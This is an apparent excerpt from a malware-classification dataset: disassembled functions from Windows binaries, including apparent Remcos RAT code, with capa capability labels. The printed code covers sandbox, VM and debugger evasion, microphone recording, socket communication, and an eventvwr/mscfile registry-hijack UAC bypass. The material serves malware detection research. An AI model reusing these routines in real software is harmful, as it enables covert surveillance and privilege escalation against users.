joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407601
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x445d10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403ba7
and dword [ebp - 0x14], 0
cmp dword [0x447adc], 0
mov dword [ebp - 0x18], eax
jne 0x4076b4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40775c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40775c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x447adc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x447ae0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x447ae4], eax
call edi
push eax
call esi
mov dword [0x447aec], eax
test eax, eax
je 0x4076b4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x447ae8], eax
mov eax, dword [0x447ae8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40770d
cmp dword [0x447aec], ecx
je 0x40770d
push eax
call esi
push dword [0x447aec]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40770d
test ebx, ebx
je 0x40770d
call edi
test eax, eax
je 0x407704
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407704
test byte [ebp - 8], 1
jne 0x40770d
or dword [ebp + 0x10], 0x200000
jmp 0x407740
mov eax, dword [0x447ae0]
cmp eax, dword [ebp - 0x18]
je 0x407740
push eax
call esi
test eax, eax
je 0x407740
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407740
mov eax, dword [0x447ae4]
cmp eax, dword [ebp - 0x18]
je 0x407740
push eax
call esi
test eax, eax
je 0x407740
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x447adc]
call esi
test eax, eax
je 0x40775c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40775e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405ece
leave
ret
Function at 0x455510
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x50000]
push edi
jmp 0x45552a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x455531
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x455520
mov eax, 1
add ebx, ebx
jne 0x455543
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x455538
jne 0x455554
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x455538
xor ecx, ecx
sub eax, 3
jb 0x455568
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4555da
mov ebp, eax
add ebx, ebx
jne 0x455573
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x455580
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4555a4
inc ecx
add ebx, ebx
jne 0x455590
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x455585
jne 0x4555a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x455585
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4555c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4555b5
jmp 0x455526
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4555c4
add edi, ecx
jmp 0x455526
pop esi
mov edi, esi
mov ecx, 0x24a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4555e2
cmp byte [edi], 1
jne 0x4555e2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4555e7
lea edi, [esi + 0x53000]
mov eax, dword [edi]
or eax, eax
je 0x45565f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x75fb8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7606c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x455614
mov ecx, edi
jns 0x455643
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x76070]
or eax, eax
je 0x455659
mov dword [ebx], eax
add ebx, 4
jmp 0x455631
call dword [esi + 0x76080]
mov ebp, dword [esi + 0x76074]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x455693
sub esp, 0xffffff80
jmp 0x40323c

Function at 0x1039db58
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1039db62
pushal
call 0x1039db68
pop ebp
sub ebp, 0x10
sub ebp, 0x39db58
mov al, byte [esp + 0x28]
cmp al, 1
je 0x1039db8c
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x1039db95
mov eax, 0x39db58
add eax, ebp
add eax, 0x63
mov ecx, 0x5fa
mov edx, 0x45e4d840
xor byte [eax], dl
inc eax
dec ecx
jne 0x1039dbac
jmp 0x1039dbbf
retf
Function at 0x401000
Capabilities:
Create thread

Disassembly:
push ebx
push esi
mov esi, 0x41ac78
push edi
push 0x1c
mov ecx, esi
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
push 1
pop ebx
cmp byte [eax], bl
jne 0x401030
call fcn.004010f1
test al, al
je 0x401030
push ebx
call fcn.00401234
pop ecx
push 0x1d
mov ecx, esi
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
jne 0x401055
call fcn.00401102
test al, al
je 0x401055
push ebx
call fcn.00401234
pop ecx
push 0x1f
mov ecx, esi
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
jne 0x40107a
call fcn.00401178
test al, al
je 0x40107a
push ebx
call fcn.00401234
pop ecx
push 0x20
mov ecx, esi
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
jne 0x40109f
call fcn.004011a3
test al, al
je 0x40109f
push ebx
call fcn.00401234
pop ecx
push 0x21
mov ecx, esi
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
xor edi, edi
cmp byte [eax], bl
jne 0x4010c6
push edi
push edi
push edi
push 0x4011f8
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x22
mov ecx, esi
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
jne 0x4010eb
push edi
push edi
push edi
push 0x401216
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x4010f1
Capabilities:
Check for sandbox and av modules

Disassembly:
push str.SbieDll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
setne al
ret

Function at 0x401102
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414588
push 0x413490
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x401162
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4011a3
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
add eax, 0x68
mov eax, dword ds:[eax]
cmp eax, 0x70
je 0x4011c1
mov dword [ebp - 4], 0
jmp 0x4011c8
mov dword [ebp - 4], 1
xor eax, eax
cmp dword [ebp - 4], eax
setne al
leave
ret

Function at 0x401234
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push esi
push edi
je 0x401285
mov edi, 0x41ac78
push 0x4145d8
push 0x2f
mov ecx, edi
call fcn.00401289
mov esi, dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
push eax
call esi
pop ecx
test al, al
pop ecx
je 0x401269
push 2
call dword [sym.imp.MSVCRT.dll_exit]
push 0x4145d4
push 0x2f
mov ecx, edi
call fcn.00401289
push eax
call esi
pop ecx
test al, al
pop ecx
je 0x401285
call fcn.0040843d
pop edi
pop esi
pop ebp
ret

Function at 0x4013c9
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push esi
push edi
movzx esi, ax
movzx edi, dx
shr esi, 3
imul edi, esi
mov ecx, dword [ebp + 0x10]
mov word [0x41a216], ax
imul edi, ecx
shr ax, 3
mov dword [0x41a210], edi
imul eax, edx
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edi
mov word [0x41a208], 1
fild qword [ebp - 8]
mov word [0x41a20a], dx
mov dword [0x41a20c], ecx
mov word [0x41a214], ax
mov word [0x41a218], di
fmul dword [0x4145f8]
call sub.MSVCRT.dll__ftol
imul esi, eax
push 0x30008
push edi
push 0x401528
push 0x41a208
push 0xffffffffffffffff
push 0x41a188
mov dword [0x41a1c0], eax
mov dword [0x41a1c4], esi
call dword [sym.imp.WINMM.dll_waveInOpen]
push edi
call fcn.0040147c
inc edi
pop ecx
cmp edi, 2
jb 0x40145f
push dword [0x41a188]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
leave
ret
Function at 0x40147c
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [0x41a1c4]
mov edi, 0x41a1f0
mov ecx, edi
push dword [ebp + 8]
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::resize_unsigned_int_]
mov esi, dword [ebp + 8]
push dword [ebp + 8]
mov ecx, edi
shl esi, 5
call fcn.00401289
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov ecx, dword [0x41a1cc]
push 0x20
mov dword [esi + ecx], eax
mov eax, dword [0x41a1cc]
mov ecx, dword [0x41a1c4]
mov dword [esi + eax + 4], ecx
mov ecx, dword [0x41a1cc]
xor eax, eax
mov dword [esi + ecx + 8], eax
mov ecx, dword [0x41a1cc]
mov dword [esi + ecx + 0xc], eax
mov ecx, dword [0x41a1cc]
mov dword [esi + ecx + 0x10], eax
mov ecx, dword [0x41a1cc]
mov dword [esi + ecx + 0x14], eax
mov eax, dword [0x41a1cc]
add eax, esi
push eax
push dword [0x41a188]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x41a1cc]
push 0x20
add esi, eax
push esi
push dword [0x41a188]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
ret
Function at 0x4016b9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx ecx, word [0x41a20a]
movzx eax, word [0x41a216]
imul eax, ecx
mov edx, eax
push ebx
imul edx, dword [0x41a20c]
push esi
push edi
shr edx, 3
mov dword [ebp - 0x10], edx
push 8
cdq
pop esi
xor edi, edi
idiv esi
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
imul eax, ecx
mov dword [ebp - 0x18], eax
add eax, 0x24
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401733
xor al, al
jmp 0x40180f
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp + 8]
push edi
push eax
push 4
push str.RIFF
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 4]
push 4
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 4
push str.WAVE
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 4
push str.fmt
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 8]
push 4
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0xc]
push 2
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 2
push 0x41a20a
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 4
push 0x41a20c
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x10]
push 4
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x14]
push 2
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 2
push 0x41a216
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 4
push 0x4145fc
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x18]
push 4
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push dword [eax]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402324
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ecx + 4]
push edi
lea esi, [ebp + 8]
mov edi, eax
push 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push dword [ecx]
movsd dword es:[edi], dword [esi]
call sub.WS2_32.dll_connect
neg eax
sbb al, al
pop edi
inc al
pop esi
pop ebp
ret 0x10

Function at 0x4023a1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 0x14], eax
xor eax, eax
push eax
push eax
push ecx
push 0x4023c0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x4023d2
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, ecx
lea eax, [ebp - 1]
push edi
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
and dword [esi + 0x30], 0
push dword [esi + 0x34]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ebx, eax
push 0
push dword [esi + 0x34]
push ebx
push dword [esi]
call sub.WS2_32.dll_recv
mov edi, eax
test edi, edi
jle 0x402463
lea eax, [ebp - 1]
lea ecx, [ebp - 0x34]
push eax
push edi
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int__class_std::allocator_char__const__]
push eax
lea ecx, [ebp - 0x24]
call dword [0x4142d0]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub dword [esi + 0x30], edi
cmp dword [esi + 0x30], 0
jg 0x402463
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
mov ecx, esi
push dword [ebp + 8]
push eax
call fcn.004024a0
push ebx
call dword [sym.imp.MSVCRT.dll_free]
test edi, edi
pop ecx
jg 0x4023fb
mov ecx, esi
call fcn.0040249c
test al, al
je 0x402483
push 1
mov ecx, esi
call fcn.0040294d
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4027a8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push 6
push 1
push 0
call sub.WS2_32.dll_socket
mov esi, eax
push 0x10
push 0x41a300
push esi
call sub.WS2_32.dll_connect
test eax, eax
jne 0x4027eb
push esi
lea eax, [ebp + 0xc]
sub esp, 0x10
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push dword [ebp + 8]
call fcn.004026c2
add esp, 0x18
cmp byte [ebp + 0x1c], 0
je 0x4027f4
push esi
call sub.WS2_32.dll_closesocket
or esi, 0xffffffff
lea ecx, [ebp + 0xc]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x402802
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x38], bl
jne 0x4028a6
cmp byte [0x41ac70], bl
push edi
mov edi, dword [ebp + 8]
je 0x40288a
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 2]
push edi
push eax
movzx eax, word [ebp - 4]
push eax
lea ecx, [ebp - 0x30]
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
lea eax, [ebp + 0xb]
push str.KeepAlive_Enabled__Timeout:__i_seconds_n
push eax
push str._02i:_02i:_02i:_03i__INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x20]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x18
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push ebx
push esi
push 0x40299f
push ebx
push ebx
mov byte [esi + 0x38], 1
mov dword [esi + 0x3c], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
jmp 0x4028a8
xor al, al
pop esi
pop ebx
leave
ret 4
Function at 0x4032e9
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push str.RtlGetNtVersionNumbers
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
cmp eax, ebx
je 0x40332b
lea ecx, [ebp - 8]
push ecx
push ebx
push ebx
call eax
and dword [ebp - 8], 0x3fff
cmp dword [ebp - 8], 0x3a9f
jae 0x403405
push ebx
push 0x4146b0
push str.mscfile_shellopencommand
lea eax, [ebp - 0x18]
push 0x80000000
push eax
call fcn.0040b805
add esp, 0x14
mov esi, 0x41ac88
mov ecx, esi
push 3
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
inc eax
lea ecx, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.origmsc
mov ecx, 0x41aa20
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov edi, 0x80000001
push eax
push edi
call fcn.0040bbdb
add esp, 0x20
lea eax, [ebp - 1]
push 2
sub esp, 0x10
mov ecx, esp
push eax
push str.C:Documents_and_SettingsAdministratorApplication_Data_remcos_remcos.exe
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
mov esi, 0x414848
push esi
push 0x4147f0
push edi
call fcn.0040ba9c
push str.eventvwr.exe
lea eax, [ebp - 0x28]
push 0x34
push eax
call fcn.00408e12
add esp, 0x2c
lea ecx, [ebp - 0x28]
push ebx
push esi
push esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x4033f3
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
pop esi
xor al, al
pop ebx
leave
ret